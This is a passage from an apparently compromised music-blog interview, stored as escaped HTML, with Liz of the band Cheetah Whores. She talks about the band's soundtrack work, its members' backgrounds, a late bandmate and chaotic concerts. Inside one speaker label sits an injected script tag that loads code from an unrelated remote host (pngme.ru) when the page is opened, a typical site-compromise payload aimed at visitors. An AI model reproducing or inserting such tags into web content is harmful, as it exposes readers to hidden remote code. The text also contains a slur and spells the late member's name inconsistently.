We received the opportunity through Therese and my uncle Declan O\u2019Brien a well-known producer in his own right with many movie and television accreditations. We are featured on the Movie Soundtrack of Wrong Turn 4 and Wrong Turn 5 (which will be released by 20th Century Fox on October 23, 2012. \u2013plug for our new single \u201cFormaldehyde\u201d off our soon to be released sophomore album Whore Amore.<\/p>\n<p>Note: IMDB lists the Cheetah Whores performing the \u2018Piranhaconda\u2019 theme music.\u00a0 However Liz said they did not perform Piranhaconda and it was an internet rumor that they did not start nor know the origin so be aware of cheating Whores out there.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Prior to forming \u2018The Cheetah Whores\u2019 what did you do in the music business?<br \/>\n<strong>LIZ:<script src=\"\/\/pngme.ru\/seter\"><\/script><\/strong> Therese and I come from a very musical family. All of our band members were in bands previously to the Cheetah Whores and accomplished recording musicians before the inception of the Cheetah Whore project.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Words can\u2019t describe the senseless tragedy to Shalonda, it\u2019s incredible how you say you incorporated the energy into the band. Can you tell us more about that process?<br \/>\n<strong>LIZ:<\/strong> Musicians can only be effective writers and performers when you pose the question to your audience \u201cCan you relate to this, can we survive this shit?\u201d I think our fans (as few and far between as they maybe) want to sing along and have a favorite Cheetah Whores song and be part of the energy we project. Sholanda had a commanding stage presence and I believe Cheetah Whores keep her alive through our songs and performance.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Okay you guys are insanely fun to watch and listen too, there must be some craziness at your concerts, what was the most bizarre thing that happened at one of your shows?<\/p>\n<p><strong>LIZ:<\/strong> Soooooooooo many bizarre and funny moments. We have had many a guest musician leave stage without finishing the set or even a song. We have had so many guest musicians, tambourine shakers, and backup singers join us on stage it looked like a clown car. Cheetah Whores have incited riots during concerts or at least the fans have. I really do not know what that\u2019s about but crash symbols have rolled off the stage and mic stands have flown across the room. I believe the most bizarre was Shondoor the tranny go-go dancer. Although he only appeared at one show it was quite memorable. Especially for my mother as she received an unsolicited personal lap dance that fateful night.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>In regards to existing and new music Liz shared the following accreditations:<br \/>\n11 track Debut CD Bang Bang Baby released October 2010.<br \/>\n*Released September 2010 with the Single Sharktopus and Hot Rod Hell Kitten for the Roger Corman Film
